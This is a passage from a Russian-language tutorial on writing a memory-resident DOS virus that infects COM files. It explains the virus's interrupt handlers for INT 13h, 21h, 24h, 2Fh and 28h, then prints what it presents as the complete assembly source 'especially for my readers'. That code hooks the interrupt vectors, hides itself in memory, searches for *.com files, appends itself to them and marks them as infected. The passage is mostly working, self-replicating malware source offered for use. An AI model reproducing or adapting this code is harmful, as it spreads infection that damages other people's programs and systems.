  2329.    ботчик как дальнюю процедуру .Конечно,  перед этим
  2330.    нужно записать в " tg_13h" единицу - это будет ин-
  2331.    дикатором выполнения Int 13h в данный  момент .Ко-
  2332.    гда системный  обработчик  выполнится,  управление
  2333.    вновь получит " фильтр ".Поскольку Int 13h уже вы-
  2334.    полнилось, можно сбросить в "0" переменную tg_13h.
  2335.    Итак :
  2336.  
  2337.    ; _______________________________________________
  2338.    ;|                                               |
  2339.    ;| Напишем новые обработчики INT 13h, INT 21h,   |
  2340.    ;| INT 24h и INT 2fh ...                         |
  2341.    ;|_______________________________________________|
  2342.  
  2343.               to_new_13h equ $-vir
  2344.  
  2345.    new_13h:   jmp cs:start_13h
  2346.  
  2347.    tg_13h     db   0
  2348.    ax_13h     dw   0
  2349.    cs_13h     dw   0
  2350.    ip_13h     dw   0
  2351.  
  2352.    start_13h: mov cs:tg_13h - 110h,1
  2353.               pushf
  2354.               db 9ah                 ;Код команды
  2355.    old_13h    dw 0                   ; " CALL " ...
  2356.    old_13h_2  dw 0
  2357.               mov cs:ax_13h - 110h,ax;Поместим новый
  2358.               pop ax                 ;флаг на место
  2359.               mov cs:ip_13h - 110h,ax;старого ( CF )
  2360.               pop ax
  2361.               mov cs:cs_13h - 110h,ax
  2362.               pop ax
  2363.               pushf
  2364.               mov ax,cs:cs_13h - 110h
  2365.               push ax
  2366.               mov ax,cs:ip_13h - 110h
  2367.               push ax
  2368.               mov ax,cs:ax_13h - 110h
  2369.               mov cs:tg_13h - 110h,0
  2370.               iret
  2371.  
  2372.    Здесь константа " to_new_13h " показывает смещение
  2373.    от начала вирусного кода до начала обработчика .
  2374.    Хотелось бы обратить ваше внимание на одну особен-
  2375.    ность .Она состоит в том, что прерывания Int 21h и
  2376.    Int 13h возвращают в регистре AX код  ошибки,а бит
  2377.    CF регистра флагов используется как индикатор этой
  2378.    ошибки .
  2379.    Пусть, например, при получении фильтром управления
  2380.    бит CF имел  значение  FLAG 1,  а регистры CS и IP
  2381.    имели значения CS 1 и IP 1.Тогда команда " pushf "
  2382.    занесет значение FLAG 1 в стек .Команда "call" по-
  2383.    местит в стек значения CS 1 и IP 1,после чего  уп-
  2384.    равление получит системный обработчик .Этот  обра-
  2385.    ботчик занесет в стек значение FLAG 2, и при своем
  2386.    завершении выполнит команду "iret" .Команда "iret"
  2387.    снимет с вершины стека значения IP 1,CS 1 и FLAG2.
  2388.    Теперь уже наш фильтр сбросит в  " 0 "  переменную
  2389.    " tg_13h ",и командой " iret " передаст управление
  2390.    прерванной программе .Но дело в том, что эта кома-
  2391.    нда извлечет  из стека  значения IP и CS,  которые
  2392.    имели место в момент вызова прерывания Int 13h,  а
  2393.    также регистр флагов FLAG 1 .Таким образом,из сте-
  2394.    ка будет извлечен FLAG 1 вместо FLAG 2 !Чтобы это-
  2395.    го не произошло, мы должны поместить в стек FLAG 2
  2396.    вместо FLAG 1 . Именно для этого предназначены ко-
  2397.    манды,записанные после ячейки " old_13h_2 ".Работа
  2398.    этих команд особых пояснений не требует .Мы просто
  2399.    " добираемся " до нужной ячейки в стеке,  последо-
  2400.    вательно считывая предшествующие .Можно, конечно,
  2401.    написать более эффективный фрагмент,зато выбранный
  2402.    нами метод достаточно прост .
  2403.  
  2404.  
  2405.                 2.18 Обработчик Int 21h
  2406.  
  2407.    Рассмотрим теперь создание обработчика  прерывания
  2408.    Int 21h .Как мы договорились,  он должен  помещать
  2409.    " единицу " в ячейку " tg_infect ",  если DOS  вы-
  2410.    полняет смену текущего каталога или диска  ( см п.
  2411.    2.5 ) .Поэтому напишем  " фильтр ", который  будет
  2412.    проверять, какая именно функция DOS вызвана  в тот
  2413.    или иной момент :
  2414.  
  2415.    ;-------------------------------------------------
  2416.  
  2417.               to_new_21h equ $-vir
  2418.  
  2419.    new_21h:   jmp cs:start_21h
  2420.  
  2421.    tg_infect  db   0
  2422.  
  2423.    start_21h: pushf
  2424.               push di
  2425.               push es
  2426.               xor di,di              ;Перехват
  2427.               mov es,di              ;INT 24h в рези-
  2428.               mov di,90h             ;дентном режиме
  2429.               mov word ptr es:[di],to_new_24h
  2430.               mov es:[di+2],cs
  2431.               cmp ah,03bh            ;Активизировать
  2432.                                      ;вирус ?
  2433.               jne cs:new_cmp_1
  2434.               mov cs:tg_infect-110h,1;Да - взводим
  2435.                                      ;триггер ...
  2436.    new_cmp_1: cmp ah,00eh
  2437.               jne cs:to_jump
  2438.               mov cs:tg_infect - 110h,1
  2439.    to_jump:   pop es
  2440.               pop di
  2441.               popf
  2442.               db 0eah                ;Переход на ста-
  2443.    old_21h    dw 0                   ;рый обработчик
  2444.    old_21h_2  dw 0                   ;INT 21h ...
  2445.  
  2446.    Поскольку при вызове функции DOS в регистре AH за-
  2447.    дается ее номер,достаточно просто проанализировать
  2448.    его и " выловить " нужные значения.Наш вирус будет
  2449.    реагировать на смену текущего каталога (AH=03Bh),и
  2450.    смену текущего диска (AH=0Eh) .Эти числа и пытает-
  2451.    ся обнаружить " фильтр " .
  2452.    Далее - так как нам нужно всего лишь  определить,
  2453.    какая функция DOS вызвана, нет смысла после завер-
  2454.    шения системного обработчика передавать управление
  2455.    обратно в " фильтр " .По этой причине отпадает не-
  2456.    обходимость сложных " манипуляций " со стеком, ко-
  2457.    торые мы проделывали в предыдущем пункте .
  2458.    Помимо решения своей конкретной задачи, написанный
  2459.    нами обработчик используется для перехвата  преры-
  2460.    вания Int 24h.Делается это прямым обращением к та-
  2461.    блице векторов  прерываний . Так же  перехватывает
  2462.    прерывания и секция  инициализации  при  установке
  2463.    вируса в память .Правда, вы можете спросить, зачем
  2464.    потребовалась такая сложная  методика  перехвата,
  2465.    и почему бы не выполнить его в секции  инициализа-
  2466.    ции ? Дело в том, что такой прием будет "работать"
  2467.    только в MS DOS .WINDOWS 95,  например,  постоянно
  2468.    восстанавливает вектор Int 24h, что делает бессмы-
  2469.    сленным изменение вектора " только один раз ".Тру-
  2470.    дно сказать, зачем в WINDOWS 95 принято восстанав-
  2471.    ливать вектор .Вероятно, это сделано для  надежно-
  2472.    сти работы системы .При создании резидентного EXE-
  2473.    вируса  мы поговорим  еще об одной  " странности "
  2474.    этой популярной операционной системы,которая поме-
  2475.    шает нам сделать вирусную программу  " невидимой "
  2476.    для антивирусных средств .
  2477.  
  2478.  
  2479.                 2.19 Обработчик Int 24h
  2480.  
  2481.    Этот обработчик должен  устанавливать  собственную
  2482.    реакцию на критическую ошибку .Вызывается он очень
  2483.    редко,поэтому просто сделаем так,чтобы при появле-
  2484.    нии ошибки не происходило " зависание " .Для этого
  2485.    достаточно вернуть управление прерванной  програм-
  2486.    ме,поместив предварительно в регистр AL код " 3 ":
  2487.  
  2488.    ;-------------------------------------------------
  2489.  
  2490.               to_new_24h equ $ - vir
  2491.  
  2492.    new_24h:   mov al,3               ;Вернем програм-
  2493.               iret                   ;ме управление
  2494.  
  2495.  
  2496.                 2.20 Обработчик Int 2Fh
  2497.  
  2498.    Напишем обработчик Int 2Fh . Мы договорились испо-
  2499.    льзовать это прерывание для проверки наличия виру-
  2500.    са в памяти .
  2501.    Напомним,что секция инициализации для решения ука-
  2502.    занной задачи вызывает Int 2Fh c такими параметра-
  2503.    ми :
  2504.  
  2505.     AX = 0F000h
  2506.     BX = 01997h .
  2507.  
  2508.    Если вирус уже инсталлирован в память,его обработ-
  2509.    чик должен вернуть AL = 0FFh, это значение и  ана-
  2510.    лизирует секция инициализации при запуске заражен-
  2511.    шой программы . Исходя из всего сказанного,  можно
  2512.    написать такой фрагмент :
  2513.  
  2514.    ;-------------------------------------------------
  2515.               to_new_2fh equ $ - vir
  2516.  
  2517.    new_2fh:   pushf
  2518.               cmp ax,0f000h
  2519.            jne cs:not_our
  2520.            cmp bx,1997h
  2521.            jne cs:not_our
  2522.            mov al,0ffh
  2523.            popf
  2524.               iret
  2525.  
  2526.    not_our:   popf
  2527.               db 0eah
  2528.    old_2fh    dw 0
  2529.    old_2fh_2  dw 0
  2530.  
  2531.    Если вызывается прерывание Int 2Fh с параметрами,
  2532.    отличными от  AX = 0F000h и BX = 01997h,  вирусный
  2533.    обработчик просто возвращает управление  системно-
  2534.    му . В противном случае управление передается пре-
  2535.    рванной программе,  причем  в этом случае AL будет
  2536.    равно 0FFh.
  2537.  
  2538.  
  2539.                 2.21 Обработчик Int 28h
  2540.  
  2541.    Строго говоря, мы его  уже написали ( см. п. 2.5 ,
  2542.    п. 2.6 и т.д. ).Именно он занимается поиском и за-
  2543.    ражением файлов,пользуясь для этого функциями DOS.
  2544.    Но так как эти функции используются  тогда,  когда
  2545.    активно прерывание Int 28h, ничего страшного  про-
  2546.    изойти не должно .
  2547.  
  2548.  
  2549.               2.22 Область данных вируса
  2550.  
  2551.    Теперь  мы можем  привести все данные,  с которыми
  2552.    работает наш вирус :
  2553.  
  2554.    ;/***********************************************/
  2555.  
  2556.    ;Data area
  2557.  
  2558.    old_bytes   db   0e9h             ;Исходные три
  2559.                dw   vir_len + 0dh    ;байта ...
  2560.  
  2561.    dta_save    db   128 dup (0)      ;Массив для DTA
  2562.  
  2563.    maska       db   '*.com',0        ;Маска для поис-
  2564.                                      ;ка ...
  2565.  
  2566.    fn          db   12 dup (' '),0   ;Место для имени
  2567.                                      ;файла
  2568.  
  2569.    new_bytes   db   0e9h             ;Код команды
  2570.                                      ;" JMP ..."
  2571.                db   00h              ;HIGH
  2572.                db   00h              ;LOW
  2573.                                      ;Он записывается
  2574.                                      ;в файл вместо
  2575.                                      ;первых трех
  2576.                                      ;байт ...
  2577.  
  2578.    end_file    db   0ebh             ;Первые два бай-
  2579.                db   push_len         ;та вируса в
  2580.                                      ;файле (команда
  2581.                                      ;перехода на се-
  2582.                                      ;кцию инициали-
  2583.                                      ;зации ...
  2584.  
  2585.    ss_save     dw   0                ;Буфера для SS
  2586.    sp_save     dw   0                ;и SP ...
  2587.  
  2588.    help_word   dw   0                ;Промежуточная
  2589.                                      ;ячейка .
  2590.  
  2591.    com_com     db   'COMMAND'        ;Имя командного
  2592.                                      ;процессора ...
  2593.  
  2594.    inside      db   0                ;Ячейка - инди-
  2595.                                      ;катор ...
  2596.  
  2597.    last        db   0                ;Последний байт
  2598.  
  2599.    to_newstack equ  $ - vir          ;Смещение к сте-
  2600.                                      ;ку ...
  2601.    newstack    dw   70 dup ( 0 )     ;Новый стек ...
  2602.  
  2603.  
  2604.         2.23 Процедура идентификации COMMAND.COM
  2605.  
  2606.    Приведем  текст процедуры, которой пользуется  наш
  2607.    вирус. Эта процедура проверяет,является - ли  най-
  2608.    денный нами файл командным процессором COMMAND.COM
  2609.    и возвращает INSIDE = 1,  если был  найден  именно
  2610.    командный процессор .
  2611.    Итак :
  2612.  
  2613.    ;-------------------------------------------------
  2614.  
  2615.    search     proc                   ;Процедура
  2616.               push ax                ;сравнивает
  2617.               push cx                ;строки ...
  2618.               mov inside,1
  2619.               lea di,fn
  2620.               lea si,com_com
  2621.               mov cx,7
  2622.    new_cmp:   mov al,byte ptr ds:[si]
  2623.               cmp byte ptr ds:[di],al
  2624.               jne cs:not_equal
  2625.               inc di
  2626.               inc si
  2627.               loop cs:new_cmp
  2628.               jmp cs:to_ret
  2629.    not_equal: mov inside,0
  2630.    to_ret:    pop cx
  2631.               pop ax
  2632.               ret
  2633.    search     endp
  2634.  
  2635.    Работа процедуры достаточно ясна и  в комментариях
  2636.    не нуждается .
  2637.  
  2638.  
  2639.                 2.24 Завершаем программу
  2640.  
  2641.    В принципе, завершить эту программу можно так же,
  2642.    как и предыдущую :
  2643.  
  2644.                db   '1'              ;Последний байт
  2645.                                      ;вируса в файле
  2646.    vir_len     equ  $-vir            ;Длина вируса в
  2647.                                      ;байтах ...
  2648.    vir_par     equ  ( $-vir + 0fh ) / 16
  2649.                                      ;И в параграфах
  2650.  
  2651.    prg_end:   mov ax,4c00h           ;Выход в DOS
  2652.               INT 21H                ;только для за-
  2653.                                      ;пускающей прог-
  2654.                                      ;раммы ...
  2655.  
  2656.             db '1'                ;И ее последний
  2657.                                      ;байт ...
  2658.  
  2659.    prg ends                          ;Стандартное
  2660.    end start                         ;" окончание "
  2661.                                      ;ASM - программы
  2662.  
  2663.    Единственное отличие  заключается  в том,  что по-
  2664.    требовалось ввести константу " vir_par ".Она нужна
  2665.    для расчета необходимой длины блока памяти при ин-
  2666.    сталляции вируса и в некоторых других вычислениях.
  2667.  
  2668.  
  2669.           2.25 Текст резидентного COM - вируса
  2670.  
  2671.    Теперь мы можем привести полный текст  резидентной
  2672.    программы - вируса :
  2673.  
  2674.    ; _______________________________________________
  2675.    ;|                                               |
  2676.    ;| COM TSR virus                                 |
  2677.    ;| Especially for my readers                     |
  2678.    ;|_______________________________________________|
  2679.  
  2680.    prg segment
  2681.       assume cs:prg,ds:prg,es:prg,ss:prg
  2682.          org 100h
  2683.  
  2684.    start:     jmp vir
  2685.  
  2686.            org 110h
  2687.                                   ;С метки " vir "
  2688.                                      ;фактически на-
  2689.                                      ;чинается обра-
  2690.                                      ;ботчик Int 28h
  2691.  
  2692.    vir:       db 0ebh                ;90h - Для рези-
  2693.               db push_len            ;90h   дентной
  2694.                                      ;      работы .
  2695.  
  2696.               pushf
  2697.               cmp cs:tg_infect-110h,1;Активизиро-
  2698.                                      ;ваться ?
  2699.               je cs:vir_2            ;Да ...
  2700.               call dword ptr cs:old_28h - 110h
  2701.                                      ;Нет - вызовем
  2702.                                      ;старый обработ-
  2703.                                      ;чик INT 28h,
  2704.                                      ;чтобы не топить
  2705.                                      ;другие TSR ...
  2706.               iret
  2707.  
  2708.    vir_2:     popf                   ;Переключаем
  2709.                                      ;стек для TSR -
  2710.                                      ;исполнения на
  2711.               mov cs:ss_save-110h,ss ;себя ...
  2712.               mov cs:sp_save-110h,sp
  2713.               mov cs:help_word - 110h,cs
  2714.               mov ss,cs:help_word - 110h
  2715.               mov sp,to_newstack + 136
  2716.               mov cs:tg_infect - 110h,0
  2717.               pushf                  ;Вызываем старый
  2718.               db 9ah                 ;обработчик
  2719.    old_28h    dw 0                   ;INT 28h ...
  2720.    old_28h_2  dw 0
  2721.               pushf                  ;Сохраним в сте-
  2722.               push ax                ;ке регистры ...
  2723.               push bx
  2724.               push cx
  2725.               push dx
  2726.               push si
  2727.               push di
  2728.               push bp
  2729.               push ds
  2730.               push es
  2731.               jmp cs:infect          ;Перейти к зара-
  2732.                                      ;жению файлов
  2733.               push_len equ $-vir - 2
  2734.  
  2735.               mov ax,ds              ;Корректируем DS
  2736.                                      ;для нерезидент-
  2737.                                      ;ной работы ...
  2738.               db 05h                 ;Код команды
  2739.    add_to_ds: dw 0                   ;" ADD AX,00h "
  2740.            mov ds,ax
  2741.  
  2742.               mov ax,0f000h          ;Проверим, есть
  2743.               mov bx,1997h           ;вирус в памяти,
  2744.               int 2fh                ;или еще нет ...
  2745.               jc fresh_bytes
  2746.  
  2747.                cmp al,0ffh
  2748.                jne free_mem           ;Нет -
  2749.                                      ;устанавливаем
  2750.  
  2751.    fresh_bytes:                      ;Восстанавливаем
  2752.            mov al,old_bytes       ;первые три бай-
  2753.                                      ;та зараженной
  2754.            mov cs:[100h],al       ;программы ...
  2755.            mov al,old_bytes+1
  2756.            mov cs:[101h],al
  2757.            mov al,old_bytes+2
  2758.            mov cs:[102h],al
  2759.               mov ax,cs              ;Восстанавливаем
  2760.                                      ;сегментные
  2761.               mov es,ax              ;регистры ...
  2762.               mov start_cs,ax
  2763.               mov ds,ax
  2764.               jmp cl_conv_1          ;Передаем управ-
  2765.    cl_conv_1: db 0eah                ;ление заражен-
  2766.               dw 100h                ;ной программе
  2767.    start_cs   dw 0
  2768.  
  2769.    free_mem:  mov ah,4ah             ;Определим объем
  2770.                                      ;доступной памя-
  2771.                                      ;ти ...
  2772.               mov bx,0ffffh          ;Заведомо невоз-
  2773.               int 21h                ;можное значение
  2774.                                      ;(0ffffh) !
  2775.  
  2776.    ; _______________________________________________
  2777.    ;| Закажем свободный блок памяти,чтобы можно было|
  2778.    ;| записать в него резидентную часть вируса ...  |
  2779.    ;|_______________________________________________|
  2780.  
  2781.               sub bx,vir_par + 2     ;Оставим вирусу
  2782.                                      ;на 2 параграфа
  2783.                                      ;больше, чем
  2784.                                      ;он сам занимает
  2785.               mov ah,4ah             ;А остальная па-
  2786.               int 21h                ;мять будет
  2787.               jc fresh_bytes         ;занята ...
  2788.  
  2789.               mov ah,48h             ;Попросим DOS
  2790.                                      ;отдать свобод-
  2791.                                      ;ный блок нам .
  2792.               mov bx,vir_par + 1     ;Запас в один
  2793.               int 21h                ;параграф ...
  2794.               jc fresh_bytes
  2795.  
  2796.    ; _______________________________________________
  2797.    ;| Теперь свободный блок памяти найден           |
  2798.    ;| ( сегментный адрес в AX ), и                  |
  2799.    ;| нужно записать в него код вируса ...          |
  2800.    ;|_______________________________________________|
  2801.  
  2802.               xor di,di              ;Делаем вирус
  2803.               mov bx,ax              ;"невидимым" в
  2804.               dec bx                 ;памяти ...
  2805.               mov word ptr cs:[2],bx
  2806.               mov es,bx
  2807.               mov bx,0070h
  2808.               mov es:[di+1],bx
  2809.  
  2810.               mov es,di              ;Получаем векто-
  2811.                                      ;ра прерываний
  2812.               cli
  2813.               mov di,084h            ;Int 21h ...
  2814.               mov bx,es:[di]
  2815.               mov old_21h,bx
  2816.               mov bx,es:[di+2]
  2817.               mov old_21h_2,bx
  2818.  
  2819.               mov di,0bch            ;Int 2fh ...
  2820.               mov bx,es:[di]
  2821.               mov old_2fh,bx
  2822.               mov bx,es:[di+2]
  2823.               mov old_2fh_2,bx
  2824.  
  2825.               mov di,04ch            ;Int 13h ...
  2826.               mov bx,es:[di]
  2827.               mov old_13h,bx
  2828.               mov bx,es:[di+2]
  2829.               mov old_13h_2,bx
  2830.  
  2831.               mov di,0a0h            ;Int 28h ...
  2832.               mov bx,es:[di]
  2833.               mov old_28h,bx
  2834.               mov bx,es:[di+2]
  2835.               mov old_28h_2,bx
  2836.               sti
  2837.  
  2838.               mov word ptr vir,9090h ;Подготавливаем
  2839.               mov tg_infect,0        ;вирус к рези-
  2840.                                      ;дентной работе
  2841.  
  2842.               mov es,ax              ;И копируем его
  2843.               xor di,di              ;в память...
  2844.               mov cx,vir_len
  2845.    prg_copy:  mov bl,byte ptr vir[di]
  2846.               mov byte ptr es:[di],bl
  2847.               inc di
  2848.               loop prg_copy
  2849.  
  2850.               xor bx,bx              ;Устанавливаем
  2851.                                      ;вектора преры-
  2852.            mov es,bx              ;ваний на вирус-
  2853.               cli                    ;ные обработчики
  2854.               mov di,084h
  2855.               mov word ptr es:[di],to_new_21h
  2856.               mov es:[di+2],ax       ; Int 21h
  2857.  
  2858.               mov di,0bch
  2859.               mov word ptr es:[di],to_new_2fh
  2860.               mov es:[di+2],ax       ; Int 2fh
  2861.  
  2862.            mov di,04ch
  2863.               mov word ptr es:[di],to_new_13h
  2864.               mov es:[di+2],ax       ; Int 13h
  2865.  
  2866.            mov di,0a0h
  2867.               mov word ptr es:[di],0
  2868.               mov es:[di+2],ax       ; Int 28h
  2869.               sti
  2870.  
  2871.               jmp fresh_bytes        ;Установка
  2872.                                      ;завершена ...
  2873.  
  2874.    infect:    push cs
  2875.               pop ds
  2876.  
  2877.               mov ax,ds              ;TSR - коррекция
  2878.               sub ax,11h             ;DS ...
  2879.               mov ds,ax
  2880.  
  2881.               cmp tg_13h,0           ;INT 13h
  2882.                                      ;выполняется ?
  2883.               je cs:all_right        ;Нет ...
  2884.               jmp cs:exit_zarasa     ;Да - на выход
  2885.  
  2886.    all_right: mov ah,2fh             ;Получим текущую
  2887.               int 21h                ;DTA ( ES : BX )
  2888.  
  2889.               mov bp,bx
  2890.  
  2891.            mov cx,80h             ;Сохраним эту
  2892.            lea si,dta_save        ;DTA ...
  2893.               mov di,bp
  2894.    save_dta:
  2895.            mov al,byte ptr es:[di]
  2896.            mov [si],al
  2897.            inc si
  2898.               inc di
  2899.            loop cs:save_dta
  2900.  
  2901.    find_first:                       ;Найдем первый
  2902.            mov ah,4eh             ;файл ...
  2903.            mov cx,00100111b
  2904.            lea dx,maska
  2905.            int 21h
  2906.            jnc cs:retry_2
  2907.            jmp restore_dta
  2908.  
  2909.    find_next: mov ah,3eh             ;Закроем непод-
  2910.            int 21h                ;ходящий файл
  2911.            jnc cs:retry_1
  2912.            jmp cs:restore_dta
  2913.  
  2914.    retry_1:   mov ah,4fh             ;Найдем следую-
  2915.            int 21h                ;щий ...
  2916.            jnc cs:retry_2
  2917.            jmp cs:restore_dta
  2918.  
  2919.    retry_2:   mov cx,12              ;Сотрем старое
  2920.            lea si,fn              ;имя в буфере
  2921.    destroy_name:
  2922.            mov byte ptr [si],0
  2923.            inc si
  2924.            loop cs:destroy_name
  2925.  
  2926.               xor si,si              ;И запишем туда
  2927.            mov di,bp              ;новое ...
  2928.    copy_name: mov al,byte ptr es:[di+1eh]
  2929.            cmp al,0
  2930.            je cs:check_command
  2931.            mov byte ptr fn[si],al
  2932.            inc si
  2933.               inc di
  2934.            jmp cs:copy_name
  2935.  
  2936.    check_command:
  2937.                                      ;Проверим, не
  2938.                                      ;является - ли
  2939.               call cs:search         ;файл командным
  2940.               cmp inside,1           ;процессором...
  2941.               je cs:retry_1
  2942.  
  2943.               mov ax,3d02h           ;Откроем этот
  2944.            lea dx,fn              ;файл ...
  2945.            int 21h
  2946.            jnc cs:save_bytes
  2947.            jmp cs:restore_dta
  2948.  
  2949.    save_bytes:                       ;Считаем первые
  2950.            mov bx,ax              ;три байта
  2951.            mov ah,3fh
  2952.            mov cx,3
  2953.            lea dx,old_bytes
  2954.            int 21h
  2955.            jnc cs:found_size           jmp cs:close
  2956.  
  2957.    found_size:mov di,bp
  2958.               cmp word ptr es:[di+01ch],0
  2959.               jne cs:more_64K        ;Найдем его раз-
  2960.            mov ax,es:[di+01ah]    ;мер ...
  2961.  
  2962.    count_size:mov si,ax              ;Вычислим
  2963.                                      ;смещения ...
  2964.            cmp ax,64000
  2965.            jna cs:smallest
  2966.    more_64K:  jmp cs:find_next
  2967.    smallest:  test ax,000fh
  2968.            jz cs:krat_16
  2969.            or ax,000fh
  2970.            inc ax
  2971.    krat_16:   mov di,ax
  2972.            sub ax,3
  2973.            mov byte ptr new_bytes[1],al
  2974.            mov byte ptr new_bytes[2],ah
  2975.            mov ax,di
  2976.            mov cl,4
  2977.            shr ax,cl
  2978.            dec ax
  2979.            mov byte ptr add_to_ds,al
  2980.            mov byte ptr add_to_ds+1,ah
  2981.  
  2982.            mov ax,4200h           ;Считаем послед-
  2983.            xor cx,cx              ;ний байт ...
  2984.            dec si
  2985.            mov dx,si
  2986.            int 21h
  2987.            jnc cs:read_last
  2988.            jmp cs:close
  2989.  
  2990.    read_last:
  2991.            mov ah,3fh
  2992.            mov cx,1
  2993.            lea dx,last
  2994.            int 21h
  2995.            jc cs:close
  2996.  
  2997.            cmp last,'1'           ;Индикатор зара-
  2998.            jne cs:write_vir       ;жения ...
  2999.            jmp cs:find_next
  3000.  
  3001.    write_vir: mov ax,4200h           ;Запишем начало
  3002.            xor cx,cx              ;вируса ...
  3003.            mov dx,di
  3004.            int 21h
  3005.            jc cs:close
  3006.  
  3007.               mov ah,40h
  3008.               mov cx,2
  3009.               lea dx,end_file
  3010.               int 21h
  3011.               jc cs:close
  3012.                                      ;И остальную
  3013.               mov ah,40h             ;часть ...
  3014.               mov cx,vir_len - 2
  3015.               lea dx,vir + 2
  3016.               int 21h
  3017.               jc cs:close
  3018.  
  3019.    write_bytes:                      ;Запишем первые
  3020.            mov ax,4200h           ;три байта
  3021.            xor cx,cx
  3022.            xor dx,dx
  3023.            int 21h
  3024.            jc cs:close
  3025.  
  3026.               mov ah,40h
  3027.               mov cx,3
  3028.               lea dx,new_bytes
  3029.               int 21h
  3030.  
  3031.    close:     mov ah,3eh             ;Закроем зара-
  3032.               int 21h                ;женный файл
  3033.  
  3034.    restore_dta:
  3035.               mov cx,80h             ;Восстановим DTA
  3036.            lea si,dta_save
  3037.               mov di,bp
  3038.    dta_fresh:
  3039.               mov al,[si]
  3040.            mov byte ptr es:[di],al
  3041.            inc si
  3042.               inc di
  3043.            loop cs:dta_fresh
  3044.  
  3045.    exit_zarasa:                      ;Выход в систему
  3046.               pop es
  3047.               pop ds
  3048.               pop bp
  3049.               pop di
  3050.               pop si
  3051.               pop dx
  3052.               pop cx
  3053.               pop bx
  3054.               pop ax
  3055.            popf
  3056.               mov ss,cs:ss_save-110h ;Восстановим
  3057.               mov sp,cs:sp_save-110h ;стек ...
  3058.               iret
  3059.  
  3060.    ;-------------------------------------------------
  3061.  
  3062.    ; _______________________________________________
  3063.    ;|                                               |
  3064.    ;| Напишем новые обработчики INT 13h, INT 21h,   |
  3065.    ;| INT 24h и INT 2fh ...                         |
  3066.    ;|_______________________________________________|
  3067.  
  3068.               to_new_13h equ $-vir
  3069.  
  3070.    new_13h:   jmp cs:start_13h
  3071.  
  3072.    tg_13h     db   0
  3073.    ax_13h     dw   0
  3074.    cs_13h     dw   0
  3075.    ip_13h     dw   0
  3076.  
  3077.    start_13h: mov cs:tg_13h - 110h,1
  3078.               pushf
  3079.               db 9ah
  3080.    old_13h    dw 0
  3081.    old_13h_2  dw 0
  3082.               mov cs:ax_13h - 110h,ax;Поместим новый
  3083.               pop ax                 ;флаг на место
  3084.               mov cs:ip_13h - 110h,ax;старого ( CF )
  3085.               pop ax
  3086.               mov cs:cs_13h - 110h,ax
  3087.               pop ax
  3088.               pushf
  3089.               mov ax,cs:cs_13h - 110h
  3090.               push ax
  3091.               mov ax,cs:ip_13h - 110h
  3092.               push ax
  3093.               mov ax,cs:ax_13h - 110h
  3094.               mov cs:tg_13h - 110h,0
  3095.               iret
  3096.  
  3097.    ;-------------------------------------------------
  3098.  
  3099.               to_new_21h equ $-vir
  3100.  
  3101.    new_21h:   jmp cs:start_21h
  3102.  
  3103.    tg_infect  db   0
  3104.  
  3105.    start_21h: pushf
  3106.               push di
  3107.               push es
  3108.               xor di,di              ;Перехват
  3109.               mov es,di              ;INT 24h в рези-
  3110.               mov di,90h             ;дентном режиме
  3111.               mov word ptr es:[di],to_new_24h
  3112.               mov es:[di+2],cs
  3113.               cmp ah,03bh            ;Активизировать
  3114.                                      ;вирус ?
  3115.               jne cs:new_cmp_1
  3116.               mov cs:tg_infect-110h,1;Да - взводим
  3117.                                      ;триггер ...
  3118.    new_cmp_1: cmp ah,00eh
  3119.               jne cs:to_jump
  3120.               mov cs:tg_infect - 110h,1
  3121.    to_jump:   pop es
  3122.               pop di
  3123.               popf
  3124.               db 0eah                ;Переход на ста-
  3125.    old_21h    dw 0                   ;рый обработчик
  3126.    old_21h_2  dw 0                   ;INT 21h ...
  3127.  
  3128.    ;-------------------------------------------------
  3129.  
  3130.               to_new_24h equ $ - vir
  3131.  
  3132.    new_24h:   mov al,3               ;Вернем програм-
  3133.               iret                   ;ме управление и
  3134.                                      ;код ошибки ...
  3135.  
  3136.    ;-------------------------------------------------
  3137.  
  3138.               to_new_2fh equ $ - vir
  3139.  
  3140.    new_2fh:   pushf
  3141.               cmp ax,0f000h
  3142.            jne cs:not_our
  3143.            cmp bx,1997h
  3144.            jne cs:not_our
  3145.            mov al,0ffh
  3146.            popf
  3147.               iret
  3148.  
  3149.    not_our:   popf
  3150.               db 0eah
  3151.    old_2fh    dw 0
  3152.    old_2fh_2  dw 0
  3153.  
  3154.    ;/***********************************************/
  3155.  
  3156.    ;Data area
  3157.  
  3158.    old_bytes   db   0e9h             ;Исходные три
  3159.                dw   vir_len + 0dh    ;байта ...
  3160.  
  3161.    dta_save    db   128 dup (0)      ;Массив для DTA
  3162.  
  3163.    maska       db   '*.com',0        ;Маска для поис-
  3164.                                      ;ка ...
  3165.  
  3166.    fn          db   12 dup (' '),0   ;Место для имени
  3167.                                      ;файла
  3168.  
  3169.    new_bytes   db   0e9h             ;Код команды
  3170.                                      ;" JMP ..."
  3171.                db   00h              ;HIGH
  3172.                db   00h              ;LOW
  3173.  
  3174.    end_file    db   0ebh             ;Первые два бай-
  3175.                db   push_len         ;та вируса в
  3176.                                      ;файле ...
  3177.  
  3178.    ss_save     dw   0                ;Буфера для SS
  3179.    sp_save     dw   0                ;и SP ...
  3180.  
  3181.    help_word   dw   0                ;Промежуточная
  3182.                                      ;ячейка .
  3183.  
  3184.    old_attr    db   0                ;Исходные атри-
  3185.                                      ;буты файла ...
  3186.  
  3187.    com_com     db   'COMMAND'        ;Имя командного
  3188.                                      ;процессора ...
  3189.  
  3190.    inside      db   0                ;Ячейка - инди-
  3191.                                      ;катор ...
  3192.  
  3193.    last        db   0                ;Последний байт
  3194.  
  3195.    to_newstack equ  $ - vir          ;Смещение к сте-
  3196.                                      ;ку ...
  3197.    newstack    dw   70 dup ( 0 )     ;Новый стек ...
  3198.  
  3199.    ;-------------------------------------------------
  3200.  
  3201.    search     proc                   ;Процедура
  3202.               push ax                ;сравнивает
  3203.               push cx                ;строки ...
  3204.               mov inside,1
  3205.               lea di,fn
  3206.               lea si,com_com
  3207.               mov cx,7
  3208.    new_cmp:   mov al,byte ptr ds:[si]
  3209.               cmp byte ptr ds:[di],al
  3210.               jne cs:not_equal
  3211.               inc di
  3212.               inc si
  3213.               loop cs:new_cmp
  3214.               jmp cs:to_ret
  3215.    not_equal: mov inside,0
  3216.    to_ret:    pop cx
  3217.               pop ax
  3218.               ret
  3219.    search     endp
  3220.  
  3221.                db   '1'              ;Последний байт
  3222.                                      ;вируса ...
  3223.    vir_len     equ  $-vir            ;Длина вируса в
  3224.                                      ;байтах ...
  3225.    vir_par     equ  ( $-vir + 0fh ) / 16
  3226.                                      ;И в параграфах
  3227.  
  3228.    prg_end:   mov ax,4c00h           ;Выход в DOS
  3229.               INT 21H                ;только для за-
  3230.                                      ;пускающей прог-
